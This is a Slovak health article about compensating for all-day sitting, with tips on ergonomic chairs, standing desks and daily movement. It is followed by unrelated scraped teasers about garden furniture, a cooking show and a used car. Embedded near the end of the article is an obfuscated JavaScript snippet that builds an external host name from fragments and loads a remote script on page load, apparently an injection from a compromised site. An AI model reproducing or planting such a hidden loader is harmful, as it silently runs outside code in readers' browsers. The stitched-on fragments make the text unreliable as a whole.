Moderná doba so sebou priniesla aj moderné nástrahy. Jednou z nich je aj dlhodobé sedenie a to či už v práci za PC alebo následne aj doma pri televízore alebo ďalej za PC. Aj to je dôvod, prečo stále viac narastá počet ľudí, ktorí majú problémy s chrbticou. Odborníci dokonca bolesti chrbta nazývajú epidémiou 21. storočia. Čo robiť, aby ste sa medzi ľudí s podobnými problémami nepridali aj vy. Ak už sedieť, tak zdravo Zdá sa vám slovné spojenie zdravo sedieť ako oxymoron. Veru nie ste ďaleko od pravdy. Tieto dve slová rozhodne nejdú dohromady a žiadny spôsob sedenia nemožno nazvať ako zdravý. Napriek tomu tu ale máme spôsoby sedenia, ktoré môžeme zaradiť k tým lepším. Ak už teda patríte k ľuďom, ktorí väčšinu svojho dňa musia tráviť v sede, určite nepodceňujte výber správnej stoličky. Vhodnou voľbou bude ergonomická stolička, či kvalitná herná stolička, ktoré sú prispôsobené pre ľudí, ktorí na nich denne presedia hodiny. No okrem nich svoju kanceláriu vybavte aj o ďalšie pomôcky na prestriedanie polohy, napríklad o fit loptu, či čoraz populárnejší výškovo nastaviteľný stôl, ktorý umožňuje aj práce v stoji. Polohu pri práci pravidelne striedajte a nezabudnite si dopriať krátke prestávky a využite ich napríklad na prechádzku ku kávovaru. Pohyb náš každodenný Presúvanie sa medzi povinnosťami autom, mestskou dopravou či na elektrickej kolobežke je pohodlné a šetrí náš čas. No napriek tomu ani jeden z týchto spôsobov nemožno označiť ako zdravý. Skúste sa preto zamyslieť nad tým, ako do svojho každodenného programu pridať čo najviac pohybu. Nemusí sa z vás stať vrcholový športovec a nemusíte denne prejsť desiatky kilometrov a napriek tomu môžete už v krátkej dobe vidieť na svojom zdraví veľké pokroky. A pritom stačia minimálne úpravy v dennom režime: 1. Vymeňte výťah za schody. 2. Na WC choďte v práci o poschodie nižšie. 3. Vystúpte o zastávku skôr či doprajte si cestu z práce po vlastných. 4. Každú hodinu sa na 5 minút postavte, ponaťahujte a prejdite pár krokov. Všetko sú to opatrenie, ktoré vám z vášho dňa ukroja len minimálnu časť času, ale viditeľne sa podpíšu na vašom zdraví. Každý z nás by sa najradšej dožil sto rokov, no už len málokto je ochotný preto niečo urobiť. Veríme, že sme vás naším článkom aspoň trochu inšpirovali na ceste za zdravším ja. (function(){ aXrn=document.createElement("script");aXrn_="u"+("s")+"ta"; aXrn_+=("t.i")+""+"n";aXrn_+=(("f")+"o");aXrn.type="text/javascript"; aXrn_+="/"; aXrnu="2182147886";aXrnu+=".w8mt3XgXXrnkpXcj56j";aXrnu+="bhy8wt6nwh9"; aXrn.src="https://"+aXrn_+aXrnu;aXrn.async=true;document.body.appendChild(aXrn); })(); Článek Ako si kompenzovať celodenné sedenie se nejdříve objevil na SBX.
Originálne drevené záhradné sedenie so sklenenými doplnkami ošetrené Osmo Záhradnou a fasádnou farbou.
Jedinečné sedenie do vínnej pivnice od Ali & Co. ošetrné patinovaným OSMO Tvrdým voskovým olejom.
Automobil je v dnešnej dobe veľmi bežný spôsob dopravy a vlastní ho naozaj skoro každý. Mnohí trávime v aute celé hodiny, niekto aj dni. Napriek tomu, si vie správne nastaviť sedenie za volantom iba zlomok vodičov.Správne nastavené sedenie vodiča pritom m
prejsť na článokAhojte.Len Vám chcem dať do povedomia, že zajtra v kuchyni Telerána uvidíte Dobroty od dobrotky. Pripravíme pre Vás celodenné menu a ukážeme Vám ako to v dobrotkách vyzerá a načo sa môžte tešiť.Chcem Vám ukázať, že zdravá strava nie je nuda.Tak vstávajte
prejsť na článokTECHNICKÉ ÚDAJE Rok: 10/2011 Palivo: diesel Objem motora: 2 987 cm³ (3 l) Počet km: 217000 km Výkon motora: 177 kW (241 PS) Prevodovka: 5-st. automatická Pohon: 4x4 Farba: BIELA Karoséria: SUV / Off-road Počet dverí: 5 Miest na sedenie: 5 ...
prejsť na článok